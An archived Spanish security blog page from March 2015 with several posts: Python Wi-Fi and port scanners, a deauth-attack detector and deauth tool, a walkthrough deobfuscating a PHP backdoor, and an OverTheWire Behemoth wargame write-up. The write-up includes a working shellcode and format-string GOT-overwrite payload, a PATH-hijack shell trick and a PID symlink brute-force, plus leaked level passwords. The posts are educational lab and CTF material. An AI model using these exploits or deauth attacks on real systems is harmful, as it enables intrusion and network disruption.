lunes, 30 de marzo de 2015

Juankeando con la Pitón (8) - AP Scanner con sockets

La suite Aircrack tiene la fabulosa herramienta airodump-ng para escanear los puntos de acceso a nuestro alrededor. En esta entrada implementaremos con python (2.7) algunas de sus funcionalidades para entender como funciona.

En esta ocasión utilizaremos sockets puesto que aporta mas valor didáctico, aunque en la siguiente entrada trabajaremos con la librería scapy (vista en anteriores posts) que nos aportará mayor abstracción que los sockets y nos facilitará enormemente la tarea.


De todos los paquetes que intervienen en una comunicación wireless, para nuestro actual cometido solo nos interesan los del tipo beacon (beacon frames) pues contienen el nombre del punto de acceso, su mac o canal entre otros muchos valores. Por tanto, nuestro primer cometido será identificar el subtipo de los beacon comentados antes. Para ello el Sr. Google o wireshark pueden servirnos:

Imagen obtenida de http://www.wildpackets.com/resources/compendium/wireless_lan/wlan_packet_types

Siendo el subtipo 8 este será el que filtraremos. A partir de aquí, el resto de datos los obtendremos de wireshark (o desde las especificaciones del paquete):


Con un paquete de ejemplo obtenido con wireshark procedemos a ver que posiciones ocupan dentro de éste los diversos valores que queremos obtener. Todo esto lo tendremos en cuenta durante el desarrollo del script:


Al principio encontramos las funciones channel_hopper y signal_handler ya explicadas en anteriores entradas, aunque, descritas brevemente, una permite ir cambiando de canal y la otra interrumpir correctamente el programa con CTRL+C.

La parte interesante del código la encontramos en el método main, concretamente a partir de la línea 43.
Las primeras peculiaridades surgen al crear el socket, pues a diferencia de como lo creamos normalmente (con STREAM o DGRAM), en esta ocasión trabajaremos con los datos en bruto (RAW). El tercer elemento que normalmente se omite, en esta ocasión es 3 (ETH_P_ALL) que implica que el socket trabaje con todos los protocolos. Con esto definido ponemos a escuchar una interfaz en modo monitor (usando, por ejemplo, airmon-ng) y que empiece a capturar paquetes.


Trabajamos con los paquetes en RAW, por tanto éstos llevan sus cabeceras. Ésta es de 36 bytes, siendo el 37 el que determina el subtipo del paquete, en este caso tendrá que ser 8 (0x0008) (línea 53 del código):


A partir de aquí se trabaja con una lista para evitar mostrar puntos de acceso repetidos pues continuamente recibiremos beacons. A continuación mostraremos la información que deseemos del paquete  conociendo la posición que ocupa en éste. Siendo interesante conocer que el tamaño del nombre del punto de acceso es un factor determinante y variable pues, en función de su longitud, los valores siguientes (en el caso del script la MAC y el canal) estarán en una posición u otra. La variable ssidLen controla esto (línea 54).

Para probarlo, partiendo de que nuestra interfaz se encuentra en modo monitor, veremos un resultado como el que sigue:


Como siempre, el script está en la correspondiente sección del GitHub de 0verl0ad (si los chinos os dejan acceder a el ;) ):
https://github.com/0verl0ad/pyJuanker/blob/master/scripts/apScannerSock.py

En la siguiente entrada (a saber cuando...), veremos las mismas funcionalidades pero implementadas con la librería scapy.


Si alguien quiere ampliar información...:


C'est fini, nos leemos en breve

5 0verl0ad Labs: marzo 2015 La suite Aircrack tiene la fabulosa herramienta airodump-ng para escanear los puntos de acceso a nuestro alrededor. En esta entrada implemen...

martes, 24 de marzo de 2015

Juankeando con la Pitón (7) - Haciendo nuestro escáner de puertos

Séptima entrada de la serie "Juankeando con la Pitón", esta vez centrada en un script para analizar puertos (TCP). El funcionamiento es simple, pasada (con argparse) una IP junto con el rango de puertos a escanear se realizará una prueba de conexión a cada puerto y en función de la respuesta es posible saber si está o no abierto. Además para agilizar la tarea se ha utilizado la librería multiprocessing de Python  (2.7.x).

El código está disponible en el GitHub de 0verl0ad:
https://github.com/0verl0ad/pyJuanker/blob/master/scripts/portScan.py



Empezando por la parte de multiprocessing, declaramos un máximo de 50 procesos paralelos en la línea 44 y, a continuación, lanzamos la función scan cuyos parámetros son el rango de puertos a escanear.

La función scan abre un socket a cada puerto de la ip destino con un timeout de 1 segundo (este tiempo se propria reducir y no debería haber problemas pero influye la conexión por eso he optado en dejarlo a 1 segundo) y espera la respuesta. Si es 0 el puerto estará abierto, mientras que si es un valor distinto no (o el script no es capaz de confirmar que lo esté).

Con todo esto, conforme vaya obteniendo cada proceso el estado del puerto irá mostrándose por pantalla.



¿Cosas que se podrían mejorar?
  • Que también soporte UDP como protocolo, lo cual es tan simple como cambiar un parámetro en la declaración del socket.
  • Añadir el numero de procesos paralelos como parámetro que basta con añadir otra opcion a argparse.
  • Identificar los servicios asociados a los puertos abiertos. Esto se podría implementar creando un diccionario con el puerto y su servicio asociado a partir de la información del fichero /etc/services (en el caso de GNU/Linux) con lo que sería útil para los puertos por defecto aunque pudiera llevar a falsos positivos en la identificación de servicios.
Si algún día me aburro igual las implemento y publicaré una versión actualizada del post, nos leemos en breve ;)



5 0verl0ad Labs: marzo 2015 Séptima entrada de la serie "Juankeando con la Pitón", esta vez centrada en un script para analizar puertos (TCP). El funcionamien...

jueves, 19 de marzo de 2015

Juankeando con la Pitón (6) - Detectando ataques deauth con scapy

Si en la anterior entrada de Juankeando con la Pitón vimos como desautenticar a un cliente de un punto de acceso, en ésta veremos como descubrir si alguien está realizando este tipo de ataque.

Para ello, al igual que en la anterior, utilizaremos scapy junto con una interfaz en modo monitor para capturar todo el tráfico al alcance. Después basta con filtrar el que queramos y ya tendremos el escáner listo.

El código parte de una versión mucho mas compleja de una aplicación que intenta simular el funcionamiento de airodump-ng (suite aircrack-ng), lo podéis encontrar aquí.

En cuanto a nuestro script, su código está en el GitHub de 0verl0ad:
https://github.com/0verl0ad/pyJuanker/blob/master/scripts/deauthScanner.py

Las peculiaridades del código las encontramos en la función channel_hopper sin la cual solo interceptaríamos paquetes en un determinado canal, de ahí que sea necesario ir saltando entre éstos. La captura la realiza la función de mismo nombre que filtrará los paquetes de desautenticación mostrando datos del cliente atacado.


En fin, nos leemos en "breve" ;)



5 0verl0ad Labs: marzo 2015 Si en la anterior entrada de Juankeando con la Pitón vimos como desautenticar a un cliente de un punto de acceso, en ésta veremos como desc...

domingo, 15 de marzo de 2015

Desofuscando PHP backdoors: Keep it simple!

¡Saludos!

   Esta tarde me he acordado de este tuit de Sucuri que ví hace tiempo:


   En su momento lo dejé aparcado por falta de tiempo, y hoy he vuelto a acordarme. Básicamente se trata de un backdoor en PHP que habían encontrado en un sitio comprometido, y que si te gusta desofuscar este tipo de cosas y andas buscando curro le mandes el resultado limpio.  Aquí teneis el link http://labs.sucuri.net/?note=2012-05-24 .

   Los que sigais este blog ya sabreis que siento devoción por el malware web en todas sus formas. En este caso se trata de  un simple backdoor, pero resulta atractivo porque está ofuscado. Voy a aprovechar este post para explicar la metodología que por regla general sigo cuando me encuentro este tipo de código ofuscado en algun servidor.

  Obivamente lo primero es montar un laboratorio de pruebas (una máquina virtual) donde poder trabajar sin posibilidad de sufrir percance alguno -pues el código está ofuscado y no sabemos qué diablos hará-. Una vez que tenemos un sitio donde trabajar, nos ponemos manos a la obra con un editor de textos que permita colorear el código en base a la sintaxis: nos va ahorrar mucho tiempo.



   El primer paso: eliminar comentarios del código que puedan inducirnos a error. En PHP los comentarios pueden ser /**/ para bloques de código, o # y // para líneas. En la imagen de arriba se corresponde con las cadenas de color azul.

   A continuación, en el segundo paso, procedemos a ordenar el código para poder leerlo de forma más clara:


   La inmensa mayoría (y cuando digo inmensa mayoria estoy hablando quizás del 90%) de los códigos ofuscados en PHP se basan en introducir un "prólogo" donde se crean variables y se operan con ellas con el objetivo de imposibilitar la lectura, y por último utilizarlas en forma de funciones variables para ejecutar funciones de forma subrepticia (el mítico $a = base64_; $b = decode; $c($string)).

   Teniendo esto en cuenta podemos limitarnos a localizar trozos de código que tengan una estructura tipo $asdfadfs(), y una vez localizadso con "echo" imprimimos en pantalla para ver su contenido. Normalmente las funciones variables las suelen colocar al final del código.Importante es poner un error_reporting(0) al inicio para evitar mostrar errores que puedan ensuciar.

  En nuestro caso, comentamos la última parte y añadimos:



Y al ejecutar el malware con la parte comentada y nuestro añadido, obtenemos qué hacía:

mothra@kaiju:~/Documentos/shit|⇒  php sucuri-vardump.php
if levenshtein(md5(getenv(HTTP_A)),(6042416b73a05928b8bb366sjf4<8rbc) exit;
call_user_func(preg_rer<Huo,.[eU].sie,getenv(HTTP_X_NET_INFO),eC1kcnV0dC1wb3J0YWwtdXNlci1tc2lzZG4=)

Vemos cómo está esperando determinadas cabeceras HTTP para ejecutar los comandos.

Siguiendo estos sencillos pasos vamos a poder desofuscar la mayoría de código PHP con el que nos crucemos.


Byt3z!
5 0verl0ad Labs: marzo 2015 ¡Saludos!    Esta tarde me he acordado de este tuit de Sucuri que ví hace tiempo:    En su momento lo dejé aparcado por falta de tiem...

martes, 10 de marzo de 2015

Juankeando con la Pitón (5) - Wireless deauth con scapy

Tiempo ha desde la última vez que escribí aquí, el trabajo y el no saber que escribir junto con algo de pereza son los culpables... pero bueno... empecemos.

Los ataques de desautenticación en redes inalámbricas son utilizados para "tirar" a un usuario que esta conectado a un punto de acceso. Normalmente solemos utilizar la herramienta aireplay (perteneciente a la suite aircrack-ng) con su "ataque nº 0" para esta tarea.

En la siguiente entrada construiremos nuestra propia herramienta en Python (2) para realizar este ataque. Para ello utilizaremos la librería scapy. El código lo encontrareis en GitHub de 0verl0ad:
https://github.com/0verl0ad/pyJuanker/blob/master/scripts/deauth.py
 
Pese a que el código está comentado describiré brevemente sus peculiaridades. Primero, definimos como parámetros la interfaz(en modo monitor), el BSSID del punto de acceso  y la MAC del cliente que queremos desautenticar.

Para desconectar al desafortunado usuario, creamos un paquete para tal fin. Como vemos en la página:
http://www.wildpackets.com/resources/compendium/wireless_lan/wlan_packet_types
los paquetes de desautenticación tienen el subtype 12:


 Por último enviamos infinitos paquetes (while True) hasta que pulsemos la combinación CTRL+C que invocará la función signal_handler que finalizará el script.



 Con todo esto, me despido, nos leemos en "breve" ;)


5 0verl0ad Labs: marzo 2015 Tiempo ha desde la última vez que escribí aquí, el trabajo y el no saber que escribir junto con algo de pereza son los culpables... pero bu...

domingo, 1 de marzo de 2015

Resolviendo los retos Behemoth con Radare2 [0-5]

¡Saludos!

   La mañana del sábado tuve un hueco y me entretuve en echarle dos horillas a este wargame de overthewire.org. Son retos bastante sencillos, pero entretienen bastante.


Level 0:
========


En primer lugar ejecutamos el programa. Al hacerlo observamos cómo nos pide una password, y si no la acertamos, se cierra. Procedamos a analizar por dentro del binario para ver qué hace:

r2 -d "./behemoth0"
aa
afl
pdf @ main

0x08048632    e8b9fdffff   call 0x1080483f0 ; (sym.imp.strcmp)
|              sym.imp.strcmp()
|           0x08048637    85c0         test eax, eax
|       ,=< 0x08048639    752a         jnz 0x8048665
|       |   0x0804863b    c7042471870. mov dword [esp], str.Accessgranted..
|       |   0x08048642    e8d9fdffff   call 0x108048420 ; (sym.imp.puts)
|       |      sym.imp.puts()
|       |   0x08048647    c7442408000. mov dword [esp+0x8], 0x0
|       |   0x0804864f    c7442404828. mov dword [esp+0x4], str.sh
|       |   0x08048657    c7042485870. mov dword [esp], str.binsh
|       |   0x0804865e    e8fdfdffff   call 0x108048460 ; (sym.imp.execl)
|       |      sym.imp.execl()
|      ,==< 0x08048663    eb0c         jmp loc.08048671
|      |`-> 0x08048665    c704248d870. mov dword [esp], str.Accessdenied..
|      |    ; CODE (CALL) XREF from 0x08048420 (fcn.08048416)
|      |    0x0804866c    e8affdffff   call 0x108048420 ; (sym.imp.puts)


Nos encontramos con una comparación entre dos strings hecha con strcmp(). Tal y como sabemos, strcmp() requiere de dos argumentos (que se corresponden con los dos strings a comparar) y devuelve un 0 si ambos son iguales, 1 y -1 según el primer parámetro sea mayor o menor que el segundo.

Debajo del strcmp() hace un test eax, eax y jnz. En esta parte se evalúa hacia donde enviarnos: zona de chico bueno (garantizándonos una shell) o la zona de chico malo (mensaje de Access denied). Si eax vale 0 (y para que tenga este valor el strcmp() debe de devolver un 0) nos dejará llegar a la shell, si no iremos a la zona de chico malo.

¿Cómo podemos pasar este reto? Hay dos métodos rápidos. Podemos poner un breakpoint antes del test eax, eax y le cambiamos el valor a eax por 0:

db 0x08048637
dr eax=0
dc

O bien podemos poner un breakpoint justo en el strcmp() y ver qué argumentos se le han pasado. En mi caso me decanté por éste:

db 0x08048632
dc
(metemos "AAAA" como password)
pxw @ esp



¡Premio! Vemos cómo le son pasados dos argumentos: "eatmyshorts" y nuestro "AAAA". Probamos la password "eatmyshorts" y ya tenemos nuestra shell para hacer un cat a la password que nos llevará al siguiente nivel.


Level 1
========


Miramos el desensamblado a ver qué se cuece:

r2 -d "./behemoth1"
aa
afl
pdf @ main






 Se trata de un buffer overflow de los de libro. No tiene ningún misterio, y ya se ha explicado prácticamente este mismo ejemplo en varias ocasiones en este blog, por lo que no merece la pena entrar en detalle (por ejemplo es idéntico al reto 5 de io.smashthestack.org => http://blog.0verl0ad.com/2014/10/resolviendo-los-retos-de_27.html )

Level 2
========


Como siempre, miramos qué funciones hay:

r2 -d "./behemoth2"
aa
afl





 Demasiada pereza me da reversear. Si no quedase más remedio nos pondríamos a ello, pero vamos a buscar alternativas más rápidas. ¡Pero si ni siquiera
lo hemos ejecutado! Vamos  a ver qué nos canta

behemoth2@melinda:/behemoth$ ./behemoth2
touch: cannot touch '16295': Permission denied

¿está haciendo algo rollo "system('touch algo')" ? Probemos a ejecutar "touch 12345":

behemoth2@melinda:/behemoth$ touch 12345
touch: cannot touch '12345': Permission denied

Mismo mensaje. O sea, que nuestra teoría es plausible. ¿Colará el viejo truco de añadir un path nuestro a la variable de entorno PATH para que ejecute un programa nuestro en vez de un comando del sistema? Let's play!

mkdir /tmp/xc3ll
echo "/bin/sh" > /tmp/xc3ll/touch
chmod +x /tmp/xc3ll/touch
PATH=/tmp/xc3ll:$PATH
./behemoth2
cat /etc/behemoth_pass/behemoth3

¡Éxito!

Level 3
========


Como siempre, radare2 que te crió:

r2 -d "./behemoth3"
aa
afl
pdf @ main



Viendo el desensamblado de la función main() no noto nada raro en primera instancia. No veo que haya ninguna llamada a /bin/sh o a algún comando del SO, por lo que no se trata de hacer reversing: estamos ante un reto de exploiting. Pero aparentemente no hay ningún buffer overflow. ¿Qué puede ser entonces? ¿Quizás un format string?

behemoth3@melinda:/behemoth$ ./behemoth3                                     
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.c8.f7fcac20.f7ff2eb6.2.f7ffd000.41414141.42424242.2e78252e.252e7825.78252e78

aaaand goodbye again.
behemoth3@melinda:/behemoth$

¡Premio! Estamos leakeando la memoria. Podemos ver que el sexto "%x" empieza a mostrar el buffer que hemos rellenado. Anteriormente me había encontrado con esta vulnerabilidad en los retos de IO (SMASHTHESTACK.ORG) y también en la máquina virtual FUSION de exploit-exercises. La forma más simple, a mi parecer, de explotar esta vulnerabilidad es sobreescribiendo .ctors o sobreescribiendo la GOT. En ambos casos el objetivo es el mismo: que la ejecución salte hacia nuestro shellcode (bien cuando termine main() o bien cuando se vaya a la función después del printf vulnerable). En arras de hacernos la vida más fácil, el shellcode lo alojaremos en una variable de entorno.

Una vez trazado el plan, pongámonos manos a la obra.

export SHIT=$(perl -e 'print "\x90" x 200 . "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72";')

¿Qué direcciones vamos a sobreescribir?

r2 -d "./behemoth3"
aa
ir

Output:
[0xf7fdd0d0]> ir
[Relocations]
addr=0x08049788 off=0x00000788 type=SET_32 printf
addr=0x0804978c off=0x0000078c type=SET_32 fgets
addr=0x08049790 off=0x00000790 type=SET_32 puts
addr=0x08049794 off=0x00000794 type=SET_32 __gmon_start__
addr=0x08049798 off=0x00000798 type=SET_32 __libc_start_main

5 relocations

Si recordamos el desesamblado, después del printf vulnerable venía un puts. Por lo tanto vamos a tener que sobreescribir  0x08049790  con la dirección donde tengamos nuestro colchón de NOPs (hacemos un pxw 2300 @ esp y buscamos los NOPs, en nuestro caso 0xffffdf10). Montemos un exploit (recordad que vimos que el buffer empezaba en el sexto grupo):

Creamos un archivo de texto para sólo tener que hacer un "cat":

$got = "\x90\x97\x04\x08\x92\x97\x04\x08";
$junk = "%57065c%6\$hn%8462c%7\$hn"; # ~ 0xffffdf10 (sobre cómo se calcula, qué diablos estamos haciendo y otras preguntas => http://julianor.tripod.com/bc/NN-formats.txt, con este manual empecé. Otra opción es invitarle a una cerveza a @ca0s y que te lo cuente).
print $got.$junk;


echo $(perl /tmp/fk.pl) > /tmp/we.txt
cat /tmp/we.txt | ./behemoth3

cat /etc/behemoth_pass/behemoth4
ietheishei

¡A por el nivel 4!


Level 4
=========

Tiramos de radare2 para echar un ojo al desensamblado

/ (fcn) main 201
|           0x080485dd    55           push ebp
|           0x080485de    89e5         mov ebp, esp
|           0x080485e0    83e4f0       and esp, 0xfffffff0
|           0x080485e3    83ec40       sub esp, 0x40
|           0x080485e6    65a114000000 mov eax, [gs:0x14]
|           0x080485ec    8944243c     mov [esp+0x3c], eax
|           0x080485f0    31c0         xor eax, eax
|           ; CODE (CALL) XREF from 0x08048466 (fcn.08048466)
|           ; CODE (CALL) XREF from 0x08048496 (fcn.08048496)
|           ; CODE (CALL) XREF from 0x080484d6 (fcn.080484d6)
|           ; CODE (CALL) XREF from 0x080484a6 (fcn.080484a6)
|           ; CODE (CALL) XREF from 0x08048476 (fcn.08048476)
|           ; CODE (CALL) XREF from 0x080484b6 (fcn.080484b6)
|           ; CODE (CALL) XREF from 0x080484c6 (fcn.080484c6)
|           ; CODE (CALL) XREF from 0x08048486 (fcn.08048486)
|           0x080485f2    e869feffff   call 0x108048460 ; (sym.imp.getpid)
|              sym.imp.getpid(unk)
|           0x080485f7    8944241c     mov [esp+0x1c], eax
|           0x080485fb    8b44241c     mov eax, [esp+0x1c]
|           0x080485ff    89442408     mov [esp+0x8], eax
|           0x08048603    c7442404408. mov dword [esp+0x4], 0x8048740
|           0x0804860b    8d442428     lea eax, [esp+0x28]
|           0x0804860f    890424       mov [esp], eax
|           0x08048612    e8b9feffff   call 0x1080484d0 ; (sym.imp.sprintf)
|              sym.imp.sprintf()
|           0x08048617    c7442404488. mov dword [esp+0x4], 0x8048748
|           0x0804861f    8d442428     lea eax, [esp+0x28]
|           0x08048623    890424       mov [esp], eax
|           0x08048626    e875feffff   call 0x1080484a0 ; (sym.imp.fopen)
|              sym.imp.fopen()
|           0x0804862b    89442420     mov [esp+0x20], eax
|           0x0804862f    837c242000   cmp dword [esp+0x20], 0x0
|       ,=< 0x08048634    750e         jnz 0x8048644
|       |   0x08048636    c704244a870. mov dword [esp], str.PIDnotfound
|       |   0x0804863d    e82efeffff   call 0x108048470 ; (sym.imp.puts)
|       |      sym.imp.puts()
|      ,==< 0x08048642    eb49         jmp loc.0804868d
|      |`-> 0x08048644    c7042401000. mov dword [esp], 0x1
|      |    0x0804864b    e8f0fdffff   call 0x108048440 ; (sym.imp.sleep)
|      |       sym.imp.sleep()
|      |    0x08048650    c7042459870. mov dword [esp], str.Finishedsleepingfgetcing
|      |    ; CODE (CALL) XREF from 0x08048470 (fcn.08048466)
|      |    0x08048657    e814feffff   call 0x108048470 ; (sym.imp.puts)
|      |       sym.imp.puts()
|     ,===< 0x0804865c    eb0c         jmp 0x804866a ; (fcn.080485ae)
|    .----> 0x0804865e    8b442424     mov eax, [esp+0x24]
|- fcn.0804866a 68
|    |||    0x08048662    890424       mov [esp], eax
|    |||    0x08048665    e846feffff   call 0x1080484b0 ; (sym.imp.putchar)
|    |||       sym.imp.putchar()
|    ||     ; CODE (CALL) XREF from 0x0804865c (fcn.080485ae)
|    |`---> 0x0804866a    8b442420     mov eax, [esp+0x20]
|    | |    0x0804866e    890424       mov [esp], eax
|    | |    0x08048671    e84afeffff   call 0x1080484c0 ; (sym.imp.fgetc)
|    | |       sym.imp.fgetc()
|    | |    0x08048676    89442424     mov [esp+0x24], eax
|    | |    0x0804867a    837c2424ff   cmp dword [esp+0x24], 0xffffffff
|    `====< 0x0804867f    75dd         jnz 0x10804865e
|      |    0x08048681    8b442420     mov eax, [esp+0x20]
|      |    0x08048685    890424       mov [esp], eax
|      |    0x08048688    e8a3fdffff   call 0x108048430 ; (sym.imp.fclose)
|      |       sym.imp.fclose()
|      |    ; CODE (CALL) XREF from 0x08048642 (fcn.080485ae)
|- loc.0804868d 25
|      `--> 0x0804868d    b800000000   mov eax, 0x0
|           0x08048692    8b54243c     mov edx, [esp+0x3c]
|           0x08048696    65331514000. xor edx, [gs:0x14]
|           0x0804869d    7405         jz 0x80486a4
|           ; CODE (CALL) XREF from 0x08048450 (fcn.08048446)
|           0x0804869f    e8acfdffff   call 0x108048450 ; (sym.imp.__stack_chk_fail)
|              sym.imp.__stack_chk_fail()
|           0x080486a4    c9           leave
\           0x080486a5    c3           ret


Leyendo en diagonal vemos que hace un fopen() a un archivo, si existe lo muestra y si no lanza un mensaje de "PID not found". En primer lugar, ¿a qué archivo le hace fopen()?

db 0x08048626
dc
pxw @ esp

0xffffd680  0xffffd6a8 0x08048748 0x000028ec 0x08048401  ....H....(......
0xffffd690  0xffffd89d 0x0000002f 0x0804a000 0x000028ec  ..../........(..
0xffffd6a0  0x00000001 0xffffd764 0x706d742f 0x3430312f  ....d.../tmp/104
0xffffd6b0  0xf7003637 0xf7ffd000 0x080486bb 0x7a172a00  76...........*.z

Un archivo en /tmp/ cuyo nombre es 10476. Pensando un poco, hemos visto que se ejecutaba la función getpid() y que el mensaje de "bad boy" es "PID not found". ¿Cual es el PID actual del programa?

i

file    /games/behemoth/behemoth4
type    EXEC (Executable file)
pic    false
has_va    true
root    elf
class    ELF32
lang    c
arch    x86
bits    32
machine    Intel 80386
os    linux
subsys    linux
endian    little
strip    false
static    false
linenum    true
lsyms    true
relocs    true
rpath    NONE
type    EXEC (Executable file)
os    linux
arch    Intel 80386
bits    32
endian    little
file    /games/behemoth/behemoth4
fd    10476
size    0xffffffff
mode    rwx
block    0x100
uri    dbg://./behemoth4


¡Premio! El PID es el mismo (nuestro PID es 10476 y fopen() lo hace a /tmp/10476). Si creamos un enlace simbólico en /tmp/10476 que esté apuntando a /etc/behemoth_pass/behemoth5, cuando haga el fopen() y muestre el contenido del fichero estaremos viendo el password para iniciar el siguiente nivel.

ln -s /etc/behemoth_pass/behemoth5 /tmp/10476

¿Cual es el problema? Que en cada ejeución el PID va a cambiar. ¿Cual es la solución? ¡Bruteforcear!


while(1) {
        $a = `/behemoth/behemoth4`;
        if ($a !~ /not/) { print $a; exit;}
}


behemoth4@melinda:/behemoth$ perl /tmp/wh.pl
Finished sleeping, fgetcing
aizeeshing

¡A por el nivel 5!

Level 5
==========

Radare2 y veamos que está pasando (sólo pongo las porciones interesantes)

0x0804873d    55           push ebp
|           0x0804873e    89e5         mov ebp, esp
|           0x08048740    83e4f0       and esp, 0xfffffff0
|           0x08048743    83ec50       sub esp, 0x50
|           0x08048746    8b450c       mov eax, [ebp+0xc]
|           0x08048749    8944241c     mov [esp+0x1c], eax
|           0x0804874d    65a114000000 mov eax, [gs:0x14]
|           0x08048753    8944244c     mov [esp+0x4c], eax
|           0x08048757    31c0         xor eax, eax
|           0x08048759    c7442424000. mov dword [esp+0x24], 0x0
|           0x08048761    c7442404f08. mov dword [esp+0x4], 0x80489f0
|           0x08048769    c70424f2890. mov dword [esp], str.etcbehemoth_passbehemoth6
|           0x08048770    e85bfeffff   call 0x1080485d0 ; (sym.imp.fopen)
...
...


Un fopen() a /etc/behemoth_pass/behemoth6. Parece interesante, prosigamos:

...
...
|           0x08048822    c70424158a0. mov dword [esp], str.localhost
|           0x08048829    e8f2fdffff   call 0x108048620 ; (sym.imp.gethostbyname)
|              sym.imp.gethostbyname()
|           0x0804882e    89442430     mov [esp+0x30], eax
|           0x08048832    837c243000   cmp dword [esp+0x30], 0x0
|      ,==< 0x08048837    7518         jnz 0x8048851
|      |    0x08048839    c704241f8a0. mov dword [esp], str.gethostbyname
|      |    0x08048840    e81bfdffff   call 0x108048560 ; (sym.imp.perror)
|      |       sym.imp.perror()
|      |    0x08048845    c7042401000. mov dword [esp], 0x1
|      |    0x0804884c    e83ffdffff   call 0x108048590 ; (sym.imp.exit)
|      |       sym.imp.exit()
|      `--> 0x08048851    c7442408000. mov dword [esp+0x8], 0x0
|           0x08048859    c7442404020. mov dword [esp+0x4], 0x2
|           0x08048861    c7042402000. mov dword [esp], 0x2
|           0x08048868    e8a3fdffff   call 0x108048610 ; (sym.imp.socket)
|              sym.imp.socket()
|           0x0804886d    89442434     mov [esp+0x34], eax
|           0x08048871    837c2434ff   cmp dword [esp+0x34], 0xffffffff
|     ,===< 0x08048876    7518         jnz 0x8048890
|     |     0x08048878    c704242d8a0. mov dword [esp], str.socket
|     |     0x0804887f    e8dcfcffff   call 0x108048560 ; (sym.imp.perror)
|     |        sym.imp.perror()
|     |     0x08048884    c7042401000. mov dword [esp], 0x1
|     |     0x0804888b    e800fdffff   call 0x108048590 ; (sym.imp.exit)
|     |        sym.imp.exit()
|     `---> 0x08048890    66c744243c0. mov word [esp+0x3c], 0x2
|           0x08048897    c70424348a0. mov dword [esp], str.1337
|           0x0804889e    e85dfdffff   call 0x108048600 ; (sym.imp.atoi)
|              sym.imp.atoi()
...
...

Leyendo en diagonal, vemos la palabra socket, vemos localhost y 1337. Vamos a conectarnos con nc, a ver qué se cuece:

((sleep 1; /behemoth/behemoth5) & nc -l 1337) 2> /dev/null

Nada. Qué raro, si debiéramos de estar viendo algo ahí. Después de media hora probando idioteces, me di cuenta de que era UDP.

((sleep 1; /behemoth/behemoth5) & nc -ul 1337) 2> /dev/null

¡A por el 6! (otro finde x'D)

Byt3z!





5 0verl0ad Labs: marzo 2015 ¡Saludos!    La mañana del sábado tuve un hueco y me entretuve en echarle dos horillas a este wargame de overthewire.org. Son retos bastan...
< >